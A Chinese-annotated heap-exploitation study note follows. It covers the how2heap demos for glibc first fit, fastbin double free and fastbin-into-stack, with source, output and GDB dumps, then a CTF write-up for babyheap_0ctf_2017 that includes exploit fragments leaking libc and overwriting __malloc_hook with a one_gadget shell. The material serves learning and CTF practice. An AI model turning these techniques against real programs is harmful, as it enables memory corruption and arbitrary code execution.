how2heap 01

heap learning part1

1. first fit

1.1 源代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
    fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
    fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
    fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

    fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
    char* a = malloc(0x512);
    char* b = malloc(0x256);
    char* c;

    fprintf(stderr, "1st malloc(0x512): %p\n", a);
    fprintf(stderr, "2nd malloc(0x256): %p\n", b);
    fprintf(stderr, "we could continue mallocing here...\n");
    fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
    strcpy(a, "this is A!");
    fprintf(stderr, "first allocation %p points to %s\n", a, a);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

    fprintf(stderr, "So, let's allocate 0x500 bytes\n");
    c = malloc(0x500);
    fprintf(stderr, "3rd malloc(0x500): %p\n", c);
    fprintf(stderr, "And put a different string here, \"this is C!\"\n");
    strcpy(c, "this is C!");
    fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
    fprintf(stderr, "first allocation %p points to %s\n", a, a);
    fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

1.2 运行

This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(0x512): 0x1fc6010
2nd malloc(0x256): 0x1fc6530
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x1fc6010 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x1fc6010
So, let's allocate 0x500 bytes
3rd malloc(0x500): 0x1fc6010
And put a different string here, "this is C!"
3rd allocation 0x1fc6010 points to this is C!
first allocation 0x1fc6010 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.

1.3 GDB

malloc()*3

//code
      char* a = malloc(0x512);
      char* b = malloc(0x256);
      char* c;
#GDB
Chunk(addr=0x603010, size=0x520, flags=PREV_INUSE)
    [0x0000000000603010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603530, size=0x260, flags=PREV_INUSE)
    [0x0000000000603530     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603790, size=0x20880, flags=PREV_INUSE)  ←  top chunk
gef➤  x/5gx 0x603010-0x10
0x603000:   0x0000000000000000  0x0000000000000521
0x603010:   0x0000000000000000  0x0000000000000000
0x603020:   0x0000000000000000
gef➤  x/5gx 0x603530-0x10
0x603520:   0x0000000000000000  0x0000000000000261
0x603530:   0x0000000000000000  0x0000000000000000
0x603540:   0x0000000000000000
gef➤  x/5gx 0x603790-0x10
0x603780:   0x0000000000000000  0x0000000000020881
0x603790:   0x0000000000000000  0x0000000000000000
0x6037a0:   0x0000000000000000

free(a)

//code
fprintf(stderr, "Freeing the first one...\n");
free(a);
#gdb
gef➤  heap chunks
Chunk(addr=0x603010, size=0x520, flags=PREV_INUSE)
    [0x0000000000603010     78 1b dd f7 ff 7f 00 00 78 1b dd f7 ff 7f 00 00    x.......x.......]
Chunk(addr=0x603530, size=0x260, flags=)
    [0x0000000000603530     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603790, size=0x20880, flags=PREV_INUSE)  ←  top chunk
gef➤  heap bins
[+] No Tcache in this version of libc
─────────── Fastbins for arena 0x7ffff7dd1b20 ───────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────── Unsorted Bin for arena 'main_arena' ──────────
[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
 →   Chunk(addr=0x603010, size=0x520, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
─────────── Small Bins for arena 'main_arena' ───────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────── Large Bins for arena 'main_arena' ───────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/5gx 0x603010-0x10
0x603000:   0x0000000000000000  0x0000000000000521
0x603010:   0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x603020:   0x0000000000000000
gef➤  x/5gx 0x603530-0x10
0x603520:   0x0000000000000520  0x0000000000000260
0x603530:   0x0000000000000000  0x0000000000000000
0x603540:   0x0000000000000000
gef➤  x/5gx 0x603790-0x10
0x603780:   0x0000000000000000  0x0000000000020881
0x603790:   0x0000000000000000  0x0000000000000000
0x6037a0:   0x0000000000000000

malloc(c)

//code
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
#gdb
Chunk(addr=0x603010, size=0x520, flags=PREV_INUSE)
    [0x0000000000603010     74 68 69 73 20 69 73 20 43 21 00 f7 ff 7f 00 00    this is C!......]
Chunk(addr=0x603530, size=0x260, flags=PREV_INUSE)
    [0x0000000000603530     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603790, size=0x20880, flags=PREV_INUSE)  ←  top chunk
gef➤  heap bins
[+] No Tcache in this version of libc
────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
───────────── Unsorted Bin for arena 'main_arena' ─────────────
[+] Found 0 chunks in unsorted bin.
────────────── Small Bins for arena 'main_arena' ──────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────── Large Bins for arena 'main_arena' ──────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/5gx 0x603010-0x10
0x603000:   0x0000000000000000  0x0000000000000521
0x603010:   0x2073692073696874  0x00007ffff7002143
0x603020:   0x0000000000603000
gef➤  x/5gx 0x603530-0x10
0x603520:   0x0000000000000520  0x0000000000000261
0x603530:   0x0000000000000000  0x0000000000000000
0x603540:   0x0000000000000000

1.4 说明

1.malloc分配了两块内存,内存指针-0x10是chunk头部

2.free(a),chunk a并没有马上消除,而是加入了unsorted bin

3.再次申请内存 c,&chunkC = &chunkA,而且fd_c = fd_a ; bk_c = bk_a ,从而造成UAF

4.chunk_C.size != chunk_A.size

2.fastbin_dup

2.1 源代码

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

2.2 运行

This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0x17ef010
2nd malloc(8): 0x17ef030
3rd malloc(8): 0x17ef050
Freeing the first one...
If we free 0x17ef010 again, things will crash because 0x17ef010 is at the top of the free list.
So, instead, we'll free 0x17ef030.
Now, we can free 0x17ef010 again, since it's not the head of the free list.
Now the free list has [ 0x17ef010, 0x17ef030, 0x17ef010 ]. If we malloc 3 times, we'll get 0x17ef010 twice!
1st malloc(8): 0x17ef010
2nd malloc(8): 0x17ef030
3rd malloc(8): 0x17ef010

2.3 GDB

malloc(a,b,c)

//code
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
#gdb
gef➤  heap chunks
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
    [0x0000000000602010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
    [0x0000000000602030     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x602050, size=0x20, flags=PREV_INUSE)
    [0x0000000000602050     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x602070, size=0x20fa0, flags=PREV_INUSE)  ←  top chunk
gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000021
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000020fa1
0x602070:   0x0000000000000000

free(a,b,a)

//code
free(a);
free(b);
free(a);
#gdb
gef➤  heap chunks
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
    [0x0000000000602010     20 20 60 00 00 00 00 00 00 00 00 00 00 00 00 00      `.............]
Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
    [0x0000000000602030     00 20 60 00 00 00 00 00 00 00 00 00 00 00 00 00    . `.............]
Chunk(addr=0x602050, size=0x20, flags=PREV_INUSE)
    [0x0000000000602050     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x602070, size=0x20fa0, flags=PREV_INUSE)  ←  top chunk
gef➤  heap bin fast 
──────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ────────────────────────────────
Fastbins[idx=0, size=0x20]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000602020  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021
0x602030:   0x0000000000602000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000021
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000020fa1
0x602070:   0x0000000000000000

fastbin链表里面: fastbin: a<-b<-a 形成循环,完成了一次double free

malloc(d,e,f)

//code
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
#gdb
gef➤  heap chunks
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
    [0x0000000000602010     20 20 60 00 00 00 00 00 00 00 00 00 00 00 00 00      `.............]
Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
    [0x0000000000602030     00 20 60 00 00 00 00 00 00 00 00 00 00 00 00 00    . `.............]
Chunk(addr=0x602050, size=0x20, flags=PREV_INUSE)
    [0x0000000000602050     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x602070, size=0x20fa0, flags=PREV_INUSE)  ←  top chunk
gef➤  heap bin fast 
─────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ───────────────────────────────
Fastbins[idx=0, size=0x20]  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  →  [loop detected]
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000602020  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021
0x602030:   0x0000000000602000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000021
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000020fa1
0x602070:   0x0000000000000000

2.4 说明

虽然我们再次申请了三个chunk,但是fastbin上依然形成循环,就算以后再次分配地址,也是一直分配AB的地址,这时如果我们用堆溢出等手法,就可以修改新地址的fd或bk,从而可以用修改GOT表,malloc_hook调用onegedget,或者unsafe_unlink来实现其他操作

3.fastbin_dup_into_stack

3.1 源代码

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);//a

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));//b
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));//a
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));//fd->0x7fffffffdcb8
}

3.2 运行

This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fffffffdcc8.
Allocating 3 buffers.
1st malloc(8): 0x603010
2nd malloc(8): 0x603030
3rd malloc(8): 0x603050
Freeing the first one...
If we free 0x603010 again, things will crash because 0x603010 is at the top of the free list.
So, instead, we'll free 0x603030.
Now, we can free 0x603010 again, since it's not the head of the free list.
Now the free list has [ 0x603010, 0x603030, 0x603010 ]. We'll now carry out our attack by modifying data at 0x603010.
1st malloc(8): 0x603010
2nd malloc(8): 0x603030
Now the free list has [ 0x603010 ].
Now, we have access to 0x603010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x603010 to point right before the 0x20.
3rd malloc(8): 0x603010, putting the stack address on the free list
4th malloc(8): 0x7fffffffdcc8

3.3 GDB

malloc()*3

//code
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
#gdb
gef➤  heap chunks
Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)
    [0x0000000000603010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603030, size=0x20, flags=PREV_INUSE)
    [0x0000000000603030     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603050, size=0x20, flags=PREV_INUSE)
    [0x0000000000603050     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603070, size=0x20fa0, flags=PREV_INUSE)  ←  top chunk
gef➤  x/15gx 0x603010-0x10
0x603000:   0x0000000000000000  0x0000000000000021
0x603010:   0x0000000000000000  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000000021
0x603030:   0x0000000000000000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000021
0x603050:   0x0000000000000000  0x0000000000000000
0x603060:   0x0000000000000000  0x0000000000020fa1
0x603070:   0x0000000000000000

double free

//code
free(a);
free(b);
free(a);
#gdb
gef➤  heap chunks
Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)
    [0x0000000000603010     20 30 60 00 00 00 00 00 00 00 00 00 00 00 00 00     0`.............]
Chunk(addr=0x603030, size=0x20, flags=PREV_INUSE)
    [0x0000000000603030     00 30 60 00 00 00 00 00 00 00 00 00 00 00 00 00    .0`.............]
Chunk(addr=0x603050, size=0x20, flags=PREV_INUSE)
    [0x0000000000603050     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603070, size=0x20fa0, flags=PREV_INUSE)  ←  top chunk
gef➤  heap bin fast
─────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ───────────────────────────────
Fastbins[idx=0, size=0x20]  ←  Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x603030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)  →  [loop detected]
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
gef➤  x/15gx 0x603010-0x10
0x603000:   0x0000000000000000  0x0000000000000021
0x603010:   0x0000000000603020  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000000021
0x603030:   0x0000000000603000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000021
0x603050:   0x0000000000000000  0x0000000000000000
0x603060:   0x0000000000000000  0x0000000000020fa1
0x603070:   0x0000000000000000

fastbin attack!!!

//code
unsigned long long *d = malloc(8);//a
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));//b
stack_var = 0x20;
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));//a
#gdb
gef➤  heap chunks
Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)
    [0x0000000000603010     b8 dc ff ff ff 7f 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603030, size=0x20, flags=PREV_INUSE)
    [0x0000000000603030     00 30 60 00 00 00 00 00 00 00 00 00 00 00 00 00    .0`.............]
Chunk(addr=0x603050, size=0x20, flags=PREV_INUSE)
    [0x0000000000603050     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x603070, size=0x20fa0, flags=PREV_INUSE)  ←  top chunk
gef➤  heap bin fast
─────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ───────────────────────────────
Fastbins[idx=0, size=0x20]  ←  Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x7fffffffdcc8, size=0x20, flags=)  ←  Chunk(addr=0x603020, size=0x0, flags=) [incorrect fastbin_index] 
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
gef➤  x/15gx 0x603010-0x10
0x603000:   0x0000000000000000  0x0000000000000021
0x603010:   0x00007fffffffdcb8  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000000021
0x603030:   0x0000000000603000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000021
0x603050:   0x0000000000000000  0x0000000000000000
0x603060:   0x0000000000000000  0x0000000000020fa1
0x603070:   0x0000000000000000
gef➤  x/6gx 0x00007fffffffdcb8
0x7fffffffdcb8: 0x000000000040091a  0x0000000000000020
0x7fffffffdcc8: 0x0000000000603010  0x0000000000603030
0x7fffffffdcd8: 0x0000000000603050  0x0000000000603010

*d = (unsigned long lg) (((char*)&stack_var) - sizeof(d));

d指针指向了stack_var的前sizeof(d)个字节,从而下一个占用chunkB的堆块:

再覆盖fd指针

*d = malloc(8)=====> *d = 0x00007fffffffdcb8

然后我们的fastbin就会出现异常incorrect fastbin_index

3.4 说明

1.double free使得堆块可以重复分配

2.fastbin attack攻击:覆盖chunkA(3rd malloc)fd指针,使其指向stack_var地址

4.例题:babyheap_0ctf_2017

checksec

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

IDA

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70(a1, a2, a3);
  while ( 1 )
  {
    menu();
    input();                                    // input
    switch ( (unsigned __int64)off_14F4 )
    {
      case 1uLL:
        Allocate(v4);
        break;
      case 2uLL:
        Fill(v4);
        break;
      case 3uLL:
        Free(v4);
        break;
      case 4uLL:
        Dump(v4);
        break;
      case 5uLL:
        return 0LL;
      default:
        continue;
    }
  }
}

Fill

__int64 __fastcall Fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = input();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = input();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

没有检查堆是否溢出

Free

__int64 __fastcall Free(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = input();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}

没有system,leak libc + malloc_hook(无法修改GOT表)

one_gadget

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

GDB

1.libc leak

一般采取堆块重叠后,free()加入unsorted bin最后dump出unsorted bin的地址,根据libc中与main_arena的偏移得到libc_base

#code:
Allocate(0x60)
Allocate(0x30)
Fill(0,"a"*0x60+p64(0)+p64(0x71)) <--修改idx=1的chunks size
Allocate(0x100)     #idx=2        <--堆重叠了
Fill(2,"a"*0x20+p64(0)+p64(0x71)) <--idx=2的BK_nextsize位修改
Free(1)                           <--加入fastbin链表(free()的还是0x30大小)
Allocate(0x60)#idx=1              <--堆溢出
Fill(1,"a"*0x30+p64(0)+p64(0x111))<--堆修复
Allocate(0x60)#idx=3              <--和top_chunk分隔
Free(2)
GDB()
leak = u64(Dump(1)[-25:-17])
print "leak:"+hex(leak)

base=leak-0x3c4b78
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
gef➤  heap chunks
Chunk(addr=0x55754fefb010, size=0x70, flags=PREV_INUSE)
    [0x000055754fefb010     61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61    aaaaaaaaaaaaaaaa]
Chunk(addr=0x55754fefb080, size=0x70, flags=PREV_INUSE)
    [0x000055754fefb080     61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61    aaaaaaaaaaaaaaaa]
Chunk(addr=0x55754fefb0f0, size=0x70, flags=PREV_INUSE)
    [0x000055754fefb0f0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
───────────── Unsorted Bin for arena 'main_arena' ─────────────
[+] unsorted_bins[0]: fw=0x55754fefb0b0, bk=0x55754fefb0b0
 →   Chunk(addr=0x55754fefb0c0, size=0x110, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
gef➤  x/45gx 0x55de8a864000
0x55de8a864000: 0x0000000000000000      0x0000000000000071
0x55de8a864010: 0x6161616161616161      0x6161616161616161
0x55de8a864020: 0x6161616161616161      0x6161616161616161
0x55de8a864030: 0x6161616161616161      0x6161616161616161
0x55de8a864040: 0x6161616161616161      0x6161616161616161
0x55de8a864050: 0x6161616161616161      0x6161616161616161
0x55de8a864060: 0x6161616161616161      0x6161616161616161
0x55de8a864070: 0x0000000000000000      0x0000000000000071
0x55de8a864080: 0x6161616161616161      0x6161616161616161
0x55de8a864090: 0x6161616161616161      0x6161616161616161
0x55de8a8640a0: 0x6161616161616161      0x6161616161616161
0x55de8a8640b0: 0x0000000000000000      0x0000000000000111
0x55de8a8640c0: 0x00007fa305c4ab78      0x00007fa305c4ab78  <---unsorted bin
0x55de8a8640d0: 0x0000000000000000      0x0000000000000000
0x55de8a8640e0: 0x0000000000000000      0x0000000000000071
0x55de8a8640f0: 0x0000000000000000      0x0000000000000000
0x55de8a864100: 0x0000000000000000      0x0000000000000000
0x55de8a864110: 0x0000000000000000      0x0000000000000000
0x55de8a864120: 0x0000000000000000      0x0000000000000000
0x55de8a864130: 0x0000000000000000      0x0000000000000000
0x55de8a864140: 0x0000000000000000      0x0000000000000000
0x55de8a864150: 0x0000000000000000      0x0000000000000000

偏移计算

[*] leak addr=>0x7f62cec4db78  
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
....               ...                ......             .........
0x0000563df09f9000 0x0000563df0a1a000 0x0000000000000000 rw- [heap]
0x00007f62ce889000 0x00007f62cea49000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f62cea49000 0x00007f62cec49000 0x00000000001c0000 --- /lib/x86_64-
print hex(0x7f62cec4db78-0x00007f62ce889000)
#0x3c4b78

2.fastbin attack

最后再修改malloc_hook-35的地址(mallco_hook的参数要偏移,且偏移后的地址不能为0)为exec_binsh(one_gadget)

简言之就是hook->onegadget

#code:
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-35)+p64(0))
GDB()
#堆溢出覆盖chunk1的fd,使得下一块chunk在malloc_hook-35的地方
Allocate(0x60)
GDB()

覆盖chunk1的fd

heap

0x55a4b068b000 FASTBIN {  <---chunk 0
  prev_size = 0, 
  size = 113, 
  fd = 0x6161616161616161, 
  bk = 0x6161616161616161, 
  fd_nextsize = 0x6161616161616161, 
  bk_nextsize = 0x6161616161616161
}
0x55a4b068b070 FASTBIN {   <---chunk1
  prev_size = 0, 
  size = 113, 
  fd = 0x7f038a23caed <_IO_wide_data_0+301>, 
        malloc_hook-35
  bk = 0x0, 
  fd_nextsize = 0x6161616161616161, 
  bk_nextsize = 0x6161616161616161
}
0x55a4b068b0e0 FASTBIN {
  prev_size = 0, 
  size = 113, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55a4b068b150 {
  prev_size = 0, 
  size = 0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

bins

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7ff5da1deaed (_IO_wide_data_0+301) ◂— 0xf5d9e9fe20000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

stack

pwndbg> x/gx 0x7ff5da1deb10-35 
0x7ff5da1deaed <_IO_wide_data_0+301>:   0xf5da1dd260000000 
0x7ff5da1deaf5 <_IO_wide_data_0+309>:   0x000000000000007f 
0x7ff5da1deafd: 0xf5d9e9fe20000000 
0x7ff5da1deb05 <__memalign_hook+5>:     0xf5d9e9fa0000007f 
0x7ff5da1deb0d <__realloc_hook+5>:      0x000000000000007f 
0x7ff5da1deb15 <__malloc_hook+5>:       0x0000000000000000 
